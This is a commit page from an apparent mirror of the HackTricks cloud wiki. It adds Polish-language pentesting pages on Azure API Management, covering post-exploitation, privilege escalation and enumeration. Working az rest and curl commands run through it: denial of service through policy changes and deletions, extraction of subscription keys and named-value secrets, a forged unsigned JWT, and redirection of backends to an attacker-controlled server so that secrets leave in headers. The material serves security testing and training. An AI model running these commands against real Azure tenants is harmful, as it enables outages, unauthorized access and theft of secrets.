mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-25 20:34:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
# Azure - API Management Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
Atakujący może użyć wielu wektorów, aby spowodować denial of service. Aby zablokować legalny ruch, atakujący dodaje rate-limiting i quota policies o ekstremalnie niskich wartościach, skutecznie uniemożliwiając normalny dostęp:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Aby zablokować określone legalne adresy IP klientów, atakujący może dodać polityki filtrowania IP, które odrzucają żądania z wybranych adresów:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
|
||||
Aby spowodować niepowodzenie żądań, atakujący może zmodyfikować konfigurację backendu i zmienić jego URL na nieprawidłowy lub niedostępny adres:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://invalid-backend-that-does-not-exist.com",
|
||||
"protocol": "http"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Albo usuń backendy:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Aby uczynić krytyczne API niedostępnymi, atakujący może usunąć je bezpośrednio z usługi API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Aby zablokować dostęp z Internetu, atakujący może wyłączyć publiczny dostęp sieciowy w usłudze API Management:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Disabled"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Aby zablokować dostęp uprawnionym użytkownikom, atakujący może usunąć subskrypcje API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,170 @@
|
||||
# Az - API Management Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
Atak polega na uzyskaniu dostępu do wrażliwych sekretów przechowywanych w Azure API Management Named Values, poprzez bezpośrednie pobranie wartości sekretów lub nadużycie uprawnień w celu pozyskania sekretów z Key Vault za pomocą managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Dla każdej subskrypcji atakujący może uzyskać klucze subskrypcji, używając endpointu listSecrets metodą POST:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
Odpowiedź zawiera klucz subskrypcji (primaryKey) i klucz pomocniczy (secondaryKey). Z tymi kluczami atakujący może się uwierzytelnić i uzyskać dostęp do API opublikowanych przez API Management Gateway:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
Atakujący może uzyskać dostęp do wszystkich API i produktów powiązanych z subskrypcją. Jeśli subskrypcja ma dostęp do wrażliwych produktów lub API, atakujący może uzyskać poufne informacje lub wykonać nieautoryzowane operacje.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` lub `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
Atakujący najpierw pobiera bieżącą politykę API:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
Atakujący może modyfikować politykę na różne sposoby, zależnie od celów. Na przykład, aby wyłączyć uwierzytelnianie, jeśli polityka zawiera walidację tokenu JWT, może usunąć lub zakomentować tę sekcję:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- JWT validation removed by the attacker -->
|
||||
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
|
||||
...
|
||||
</validate-jwt> -->
|
||||
</inbound>
|
||||
<backend>
|
||||
<base />
|
||||
</backend>
|
||||
<outbound>
|
||||
<base />
|
||||
</outbound>
|
||||
<on-error>
|
||||
<base />
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
Aby usunąć kontrole rate limiting i umożliwić denial-of-service attacks, atakujący może usunąć lub zakomentować quota i rate-limit policies:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- Rate limiting removed by the attacker -->
|
||||
<!-- <rate-limit calls="100" renewal-period="60" />
|
||||
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
Aby zmodyfikować backend route i przekierować ruch na serwer kontrolowany przez atakującego:
|
||||
```xml
|
||||
<policies>
|
||||
...
|
||||
<inbound>
|
||||
<base />
|
||||
<set-backend-service base-url="https://attacker-controlled-server.com" />
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
Następnie atakujący stosuje zmodyfikowaną politykę. Treść żądania musi być obiektem JSON zawierającym politykę w formacie XML:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Błędna konfiguracja walidacji JWT
|
||||
|
||||
Atakujący musi wiedzieć, że API używa walidacji tokenów JWT i że polityka jest źle skonfigurowana. Źle skonfigurowane polityki walidacji JWT mogą mieć `require-signed-tokens="false"` lub `require-expiration-time="false"`, co pozwala usłudze akceptować unsigned tokens lub tokens that never expire.
|
||||
|
||||
Atakujący tworzy złośliwy token JWT używając none algorithm (unsigned):
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
|
||||
```
|
||||
Atakujący wysyła żądanie do API, używając złośliwego tokena:
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Jeśli polityka jest błędnie skonfigurowana z `require-signed-tokens="false"`, usługa zaakceptuje niepodpisany token. Atakujący może również utworzyć token bez pola wygaśnięcia jeśli `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Atakujący najpierw sprawdza obecną konfigurację sieciową usługi:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
Atakujący sprawdza odpowiedź JSON, aby zweryfikować wartości `publicNetworkAccess` i `virtualNetworkType`. Jeżeli `publicNetworkAccess` ma wartość false lub `virtualNetworkType` jest ustawiony na Internal, usługa jest skonfigurowana do dostępu prywatnego.
|
||||
|
||||
Aby udostępnić usługę w Internecie, atakujący musi zmienić oba ustawienia. Jeżeli usługa działa w trybie wewnętrznym (`virtualNetworkType: "Internal"`), atakujący zmienia ją na None lub External i włącza publiczny dostęp sieciowy. Można to zrobić za pomocą Azure Management API:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Enabled",
|
||||
"virtualNetworkType": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Gdy `virtualNetworkType` zostanie ustawione na `None` lub `External`, a `publicNetworkAccess` jest włączony, usługa i wszystkie jej API stają się dostępne z Internetu, nawet jeśli wcześniej były chronione za prywatną siecią lub private endpoints.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
Atakujący najpierw enumeruje istniejące backends, aby zidentyfikować, który zmodyfikować:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
Atakujący pobiera aktualną konfigurację backendu, który chce zmodyfikować:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
Atakujący modyfikuje URL backendu, aby wskazywał na serwer pod ich kontrolą. Najpierw pobierają ETag z poprzedniej odpowiedzi, a następnie aktualizują backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"description": "Backend modified by attacker"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Alternatywnie atakujący może skonfigurować nagłówki backendu, aby exfiltrate Named Values zawierające sekrety. Odbywa się to poprzez konfigurację poświadczeń backendu:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"credentials": {
|
||||
"header": {
|
||||
"X-Secret-Value": ["{{named-value-secret}}"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Dzięki tej konfiguracji Named Values są wysyłane jako nagłówki we wszystkich żądaniach do backendu kontrolowanego przez atakującego, co umożliwia exfiltration wrażliwych sekretów.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# Az - API Management
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure API Management (APIM) to w pełni zarządzana usługa, która oferuje **zunifikowaną platformę do publikowania, zabezpieczania, transformowania, zarządzania i monitorowania API**. Umożliwia organizacjom **scentralizowanie strategii API** i zapewnienie spójnego zarządzania, wydajności i bezpieczeństwa dla wszystkich usług. Działając jako warstwa abstrakcji między usługami zaplecza a konsumentami API, APIM upraszcza integrację i zwiększa utrzymywalność, jednocześnie zapewniając kluczowe możliwości operacyjne i bezpieczeństwa.
|
||||
|
||||
## Główne koncepcje
|
||||
|
||||
**The API Gateway** służy jako pojedynczy punkt wejścia dla całego ruchu API, obsługując funkcje takie jak kierowanie żądań do usług zaplecza, egzekwowanie limitów, buforowanie odpowiedzi oraz zarządzanie uwierzytelnianiem i autoryzacją. Ta bramka jest w pełni hostowana i zarządzana przez Azure, co zapewnia wysoką dostępność i skalowalność.
|
||||
|
||||
**Portal dla deweloperów (Developer Portal)** zapewnia środowisko samoobsługowe, w którym konsumenci API mogą odkrywać dostępne API, czytać dokumentację i testować endpointy. Ułatwia onboarding dzięki narzędziom interaktywnym i dostępowi do informacji o subskrypcjach.
|
||||
|
||||
**Portal zarządzania (Management Plane)** jest używany przez administratorów do konfigurowania i utrzymania usługi APIM. Stąd użytkownicy mogą definiować API i operacje, konfigurować kontrolę dostępu, stosować polityki, zarządzać użytkownikami i organizować API w produkty. Ten portal centralizuje administrację i zapewnia spójne zarządzanie API.
|
||||
|
||||
## Uwierzytelnianie i autoryzacja
|
||||
|
||||
Azure API Management obsługuje kilka mechanizmów uwierzytelniania w celu zabezpieczenia dostępu do API. Należą do nich klucze subskrypcji, tokeny OAuth 2.0 oraz certyfikaty klienta. APIM integruje się natywnie z Microsoft Entra ID, umożliwiając zarządzanie tożsamością na poziomie korporacyjnym oraz bezpieczny dostęp zarówno do API, jak i usług zaplecza.
|
||||
|
||||
## Polityki
|
||||
|
||||
Polityki w APIM pozwalają administratorom dostosować przetwarzanie żądań i odpowiedzi na różnych poziomach szczegółowości, w tym na poziomie serwisu, API, operacji lub produktu. Dzięki politykom można egzekwować walidację tokenów JWT, transformować ładunki XML lub JSON, stosować ograniczenia liczby żądań (rate limiting), ograniczać wywołania według adresu IP oraz uwierzytelniać się wobec usług zaplecza przy użyciu managed identities. Polityki są bardzo elastyczne i stanowią jedną z kluczowych zalet platformy API Management, umożliwiając drobiazgową kontrolę zachowania w czasie wykonania bez modyfikowania kodu zaplecza.
|
||||
|
||||
## Named Values
|
||||
|
||||
Usługa udostępnia mechanizm zwany **Named Values**, który pozwala przechowywać **informacje konfiguracyjne** takie jak **sekrety**, **klucze API** lub inne wartości wymagane przez polityki.
|
||||
|
||||
Wartości te można przechowywać bezpośrednio w APIM lub bezpiecznie odwoływać się do nich z **Azure Key Vault**. Named Values wspierają **bezpieczne i scentralizowane zarządzanie** danymi konfiguracyjnymi i upraszczają tworzenie polityk poprzez umożliwienie **wielokrotnego użycia odniesień** zamiast wartości na stałe w kodzie.
|
||||
|
||||
## Integracja sieciowa i bezpieczeństwo
|
||||
|
||||
Azure API Management integruje się bezproblemowo ze środowiskami **Virtual Network (VNet)**, umożliwiając prywatne i bezpieczne łączenie z systemami zaplecza.
|
||||
|
||||
Po wdrożeniu wewnątrz **Virtual Network (VNet)**, APIM może uzyskiwać dostęp do usług wewnętrznych bez ich publicznego udostępniania. Usługa pozwala także na konfigurację **własnych certyfikatów** w celu obsługi **mutual TLS** z usługami zaplecza, poprawiając bezpieczeństwo w scenariuszach wymagających **silnej walidacji tożsamości**.
|
||||
|
||||
Te funkcje sieciowe czynią APIM odpowiednim zarówno dla architektur **cloud-native**, jak i **hybrydowych**.
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Aby przeprowadzić enumerację usługi API Management:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
# Retrieves all policies applied at the API level in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Retrieves the effective policy for a specific API in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Gets the configuration details of the APIM service instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
|
||||
# Lists all backend services registered in the APIM instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
|
||||
# Retrieves details of a specific backend service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
|
||||
# Gets general information about the APIM service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
|
||||
|
||||
# Calls an exposed API endpoint through the APIM gateway
|
||||
curl https://<apim>.azure-api.net/<api-path>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user